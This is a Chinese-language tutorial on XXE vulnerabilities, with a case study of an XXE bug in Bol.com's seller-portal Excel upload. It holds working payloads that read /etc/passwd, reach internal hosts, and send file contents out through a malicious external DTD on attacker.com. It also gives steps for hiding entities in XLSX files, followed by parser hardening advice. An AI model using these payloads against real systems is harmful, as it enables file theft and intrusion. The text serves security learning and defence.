Bugbounty: 在Bol.com上的XXE漏洞
字数 1778 2025-08-26 22:11:34
XXE漏洞攻击与防御全面指南
1. XXE漏洞概述
XML外部实体(XXE)攻击是一种基于XML解析器的安全漏洞,攻击者通过精心构造的XML文档,利用XML解析器的外部实体扩展功能,实现以下攻击:
- 本地文件包含(LFI):读取服务器上的敏感文件
- 服务器端请求伪造(SSRF):访问内部网络资源
- 远程代码执行(RCE):在服务器上执行任意代码
- 拒绝服务攻击(DoS):通过加载大文件使服务器崩溃
2. XML基础知识
2.1 XML文档结构
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
2.2 DTD(文档类型定义)与实体
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY body "Don't forget me this weekend!">
]>
2.3 外部实体注入
<!ENTITY body SYSTEM "file:///etc/passwd">
3. XXE攻击技术详解
3.1 基本攻击方式
-
直接文件读取:
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> -
SSRF攻击:
<!ENTITY xxe SYSTEM "http://internal.server/">
3.2 盲注XXE技术
当响应不直接显示时,使用外部DTD泄漏数据:
-
攻击者服务器准备恶意DTD (sp2.dtd):
<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % c "<!ENTITY body SYSTEM 'ftp://attacker.com/%d;'>"> -
发送包含外部DTD引用的XML:
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY % a SYSTEM "http://attacker.com/sp2.dtd"> %a; %c; ]> <data>&body;</data>
3.3 通过Excel文件(XLSX)进行XXE攻击
- XLSX文件本质上是包含XML文件的ZIP压缩包
- 攻击步骤:
- 解压XLSX文件
- 修改其中的XML文件(如sheet1.xml)添加恶意实体
- 重新压缩为XLSX格式
- 上传到目标系统
4. XXE攻击工具
4.1 XXEserv
一个简单的FTP/HTTP服务器,用于捕获XXE请求:
- 监听FTP(21)和HTTP(80)端口
- 显示所有传入请求
- 特别适合处理包含特殊字符的数据泄漏
4.2 Buffalo工具
用于将XXE payload嵌入到各种文件格式中,包括:
- 图片文件
- 文档文件
- 压缩文件
5. XXE漏洞挖掘实战
5.1 目标选择
- 寻找允许文件上传的功能
- 特别关注Excel/XML导入功能
- 检查图片上传处理
5.2 测试步骤
- 寻找XML处理点
- 尝试基本XXE payload
- 如果无回显,尝试盲注技术
- 枚举服务器文件目录
- 尝试升级到RCE
5.3 高级技巧
- 目录枚举:
file:///etc/可以列出目录内容 - 云元数据检查:尝试访问云服务元数据端点
- 配置文件读取:查找包含API密钥的配置文件
6. XXE漏洞防御
6.1 最佳实践
-
禁用DTD和外部实体:
// Java示例 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
输入验证:
- 过滤或转义
<!DOCTYPE和<!ENTITY - 限制XML文档大小
- 过滤或转义
-
使用更安全的数据格式:
- 优先使用JSON代替XML
6.2 各语言安全配置
| 语言/库 | 安全配置 |
|---|---|
| Java (DocumentBuilderFactory) | 设置disallow-doctype-decl, external-general-entities, external-parameter-entities为false |
| Python (lxml) | 使用resolve_entities=False |
| PHP (libxml) | 使用libxml_disable_entity_loader(true) |
| .NET | 设置XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit |
7. 漏洞危害评估
XXE漏洞可能导致:
- 信息泄露:读取服务器敏感文件
- 权限提升:获取系统访问权限
- 内部网络探测:SSRF攻击内部服务
- 拒绝服务:通过加载大资源使系统崩溃
- 远程代码执行:结合其他漏洞实现完全控制
8. 案例研究:Bol.com XXE漏洞
8.1 漏洞发现过程
- 目标:荷兰最大电商网站Bol.com的卖家门户
- 攻击面:Excel批量上传功能
- 技术细节:
- 上传的XLSX文件包含XML
- 修改sheet1.xml注入恶意实体
- 服务器解析时读取/etc/passwd
8.2 漏洞利用
- 解压XLSX文件
- 编辑sheet1.xml添加:
<!DOCTYPE r [ <!ENTITY body SYSTEM "file:///etc/passwd"> ]> - 修改单元格引用为
&body; - 重新压缩上传
8.3 漏洞修复
Bol.com通过禁用XML解析器的外部实体支持修复了此漏洞
9. 总结
XXE漏洞虽然早在2002年就被发现,但由于XML的广泛使用和配置不当,至今仍然是常见的Web安全威胁。通过理解XXE的工作原理、攻击技术和防御措施,开发人员可以更好地保护应用程序,安全研究人员可以更有效地发现和报告此类漏洞。